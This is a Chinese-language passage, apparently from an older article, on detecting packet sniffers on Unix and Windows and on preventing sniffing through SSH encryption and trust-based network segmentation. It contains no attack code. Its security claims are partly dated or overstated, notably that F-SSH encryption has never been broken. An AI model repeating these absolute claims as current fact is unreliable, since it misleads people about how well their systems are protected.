
  在Unix系统下使用下面的命令:

    ps -aux

  或:

    ps -augx

这个命令列出当前的所有进程,启动这些进程的用户,它们占用CPU的时间,占用内存的多少等等。

在Windows系统下,按下Ctrl+Alt+Del,看一下任务列表。不过,编程技巧高的Sniffer即使正在运行,也不会出现在这里的。

  另一个方法就是在系统中搜索,查找可怀疑的文件。但可能入侵者用的是他们自己写的程序,所以都给发现sniffer造成相当的困难。

  还有许多工具,能用来看看你的系统会不会在promiscuous模式。从而发现是否有一个sniffer正在运行。

怎样防止被sniffer

  要防止sniffer并不困难,有许多可以选用的方法。但关键是都要有开销。所以问题在于你是否舍得开销。

  你最关心的可能是传输一些比较敏感的数据,如用户ID或口令等等。有些数据是没有经过处理的,一旦被sniffer,就能获得这些信息。解决这些问题的办法是加密。

加密

  我们介绍以下SSH,它又叫Secure

Shell。SSH是一个在应用程序中提供安全通信的协议。它是建立在客户机/服务器模型上的。SSH服务器的分配的端口是22。连接是通过使用一种来自RSA的算法建立的。在授权完成后,接下来的通信数据是用IDEA技术来加密的。这通常是较强的

,适合与任何非秘密和非经典的通讯。

  SSH后来发展成为F-SSH,提供了高层次的,军方级别的对通信过程的加密。它为通过TCP/IP网络通信提供了通用的最强的加密。

  如果某个站点使用F-SSH,用户名和口令成为不是很重要的一点。目前,还没有人突破过这种加密方法。即使是sniffer,收集到的信息将不再有价值。当然最关键的是怎样使用它。

  SSH和F-SSH都有商业或自由软件版本存在。NT are available.

还有其他的方法吗?

  另一个比较容易接受的是使用安全拓扑结构。这听上去很简单,但实现是很花钱的。

  玩过一种智力游戏吗,它通常有一系列数字组成。游戏的目的是要安排好数字,用最少的步骤,把它们按递减顺序排好。当处理网络拓扑时,就和玩这个游戏一样。

  下面是一些规则:

   一个网络段必须有足够的理由才能信任另一网络段。网络段应该考虑你的数据之间的信任关系上来设计,而不是硬件需要。

  这就建立了,让我们来看看。第一点:一个网络段是仅由能互相信任的计算机组成的。通常它们在同一个房间里,或在同一个办公室里。比如你的财务信息,应该固定在建筑的一部分。

  注意每台机器是通过硬连接线接到Hub的。Hub再接到交换机上。由于网络分段了,数据包只能在这个网段上别sniffer。其余的网段将不可能被sniffer。

  所有的问题都归结到信任上面。计算机为了和其他计算机进行通信,它就必须信任那台计算机。作为系统管理员,你的工作是决定一个方法,使得计算机之间的信任关系很小。这样,就建立了一种框架,你告诉你什么时候放置了一个sniffer,它放在那里了,是谁放的等等。

如果你的局域网要和INTERNET相连,仅仅使用防火墙是不够的。入侵者已经能从一个防火墙后面扫描,并探测正在运行的服务。你要关心的是一旦入侵者进入系统,他能得到些什么。你必须考虑一条这样的路径,即信任关系有多长。举个例子,假设你的WEB服务器对某一计算机A是信任的。那么有多少计算机是A信任的呢。又有多少计算机是受这些计算机信任的呢?用一句话,就是确定最小信任关系的那台计算机。在信任关系中,这台计算机之前的任何一台计算机都可能对你的计算机进行攻击,并成功。你的任务就是保证一旦出现的sniffer,它只对最小范围有效。

Sniffer往往是攻击者在侵入系统后使用的,用来收集有用的信息。因此,防止系统被突破是关键。系统安全管理员要定期的对所管理的网络进行安全测试,防止安全隐患。同时要控制拥有相当权限的用户的数量。请记住,许多攻击往往来自网络内部。
0 0
原创粉丝点击